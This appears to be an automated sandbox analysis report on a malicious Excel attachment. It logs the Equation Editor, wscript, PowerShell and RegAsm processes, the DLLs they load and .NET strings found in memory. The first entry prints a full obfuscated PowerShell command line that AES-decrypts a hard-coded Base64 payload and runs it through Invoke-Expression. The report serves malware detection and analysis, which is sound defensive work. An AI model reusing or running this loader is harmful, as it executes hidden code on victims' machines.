Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

Static file information: File size 1104896 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Obfuscated command line found

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
